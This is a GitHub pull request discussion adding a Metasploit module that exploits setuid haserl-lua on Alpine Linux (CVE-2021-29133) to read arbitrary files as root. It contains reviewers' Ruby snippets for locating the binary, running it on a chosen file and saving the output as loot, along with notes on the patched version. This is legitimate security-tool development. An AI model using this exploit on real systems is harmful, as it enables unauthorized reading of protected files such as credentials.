New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add an haserl-based exploit for Alpine linux #14833
Conversation
|
@jvoisin this looks pretty fresh based on the tweet. Have you heard back from Alpine regarding a CVE, or were you interested in getting one assigned for this? |
|
The Alpine people are currently evaluating how to fix this issue. I don't know if they're planning on getting a CVE, and I wasn't planning on doing it myself. Do you think this is worth one? |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
tiny change in docs. the rest looks good to me.
|
It would be nice to have the module automatically detect which version of lua to use, but my ruby sucks too much for me to implement this in a clean way. |
It doesn't look too hard (famous last words). Is the executable likely to be located in Here's some ideas if you're keen to give this a go. A couple approaches:
The simple and laziest option would be metasploit-framework/lib/msf/core/post/linux/system.rb Lines 130 to 141 in 49e11fa
Although this depends on files = get_suid_files('/usr/bin') rescue nil
unless files
fail_with(UnexpectedReply, 'Could not retrieve /usr/bin/ directory contents')
end
path = files.select {|f| f.starts_with?('haserl-lua') }.first
unless path
fail_with(NotVulnerable, 'Could not find setuid haserl lua executable in /usr/bin/')
end
print_good("Found set-uid haserl: #{path}")
# ...Alternatively, using the other approach, something like this: files = cmd_exec('ls /usr/bin/haserl*') # or /usr/bin/haserl-lua*
unless files
fail_with(UnexpectedReply, 'Could not retrieve /usr/bin/ directory contents')
end
path = files.select {|f| setuid?(f) && f.include?('lua') }.first
unless path
fail_with(NotVulnerable, 'Could not find setuid haserl lua executable in /usr/bin/')
end
print_good("Found set-uid haserl: #{path}")
# ...A similar approach using files = cmd_exec('ls /usr/bin/haserl* | grep lua')
unless files
fail_with(UnexpectedReply, 'Found no haserl-lua executables in /usr/bin/')
end
path = files.select {|f| setuid?(f) }.first
unless path
fail_with(NotVulnerable, 'Could not find setuid haserl lua executable in /usr/bin/')
end
print_good("Found set-uid haserl: #{path}")
# ... |
|
Thanks for the Ruby crash-course, I went with the first solution :) |
Unfortunately you've reverted the logic. Also, this seems like useful information that shouldn't be hidden behind a vprint: Also, this is an unusual structure: I'll take another look at this tomorrow unless someone else jumps in. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for adding this! Framework can be a little touchy about how exceptions get used, so I've added some guidance about how to approach your shared binary check.
|
Here's a reusable Also resolves use of def haserl_lua_paths
begin
get_suid_files('/usr/bin')
rescue StandardError
return
end
return unless files
return files.select { |f| File.basename(f).starts_with?('haserl-lua') }
end
def check
files = haserl_lua_paths
if files.nil? || files.empty?
Exploit::CheckCode::Safe('Could not find setuid haserl lua executable in /usr/bin/')
end
binary = files.first
Exploit::CheckCode::Appears("#{binary} is present and setuid")
end
def run
if is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges')
end
files = haserl_lua_paths
if files.nil? || files.empty?
fail_with(Failure::NotVulnerable, 'Could not find setuid haserl lua executable in /usr/bin/')
end
binary = files.first
print_good("Found set-uid haserl: #{binary}")
output = cmd_exec("#{binary} '#{datastore['RFILE']}'")
return if output.empty?
fname = File.basename(datastore['RFILE'].downcase)
p = store_loot(
"haserl_#{fname}",
'text/plain',
session,
output,
"haserl_#{fname}",
'haserl arbitrary read'
)
vprint_good("#{fname} saved in: #{p}")
end |
A CVE has been assigned: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29133 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Now that the latest version of haserl is patched, it could be a good idea to check if it's actually working.
| 'Platform' => [ 'linux' ], | ||
| 'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
| 'References' => [ | ||
| ['URL', 'https://twitter.com/steaIth/status/1364940271054712842'], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You’re unable to view this Tweet because this account owner limits who can view their Tweets. Learn more
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Unfortunately, there is nothing I can do here :/
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for this great contribution @jvoisin ! I tested it against a docker image with haserl version 0.9.35 and it works great. Also, I confirmed it has been fixed in version 0.9.36. That would be great to add this information to the documentation.
Before it lands, I added a couple of suggestions regarding the documentation and the check method.
|
Thanks for updating this @jvoisin. It looks good to me now. Only the documentation still needs a very small update to match the current output, but I'll do it myself, no problem (a2d6ba4 and e48ebe6). I tested against a docker image with Example output |
Release NotesNew module |
Verification
List the steps needed to make sure this thing works
use exploit/linux/gather/haserl_readSESSIONrunorexploit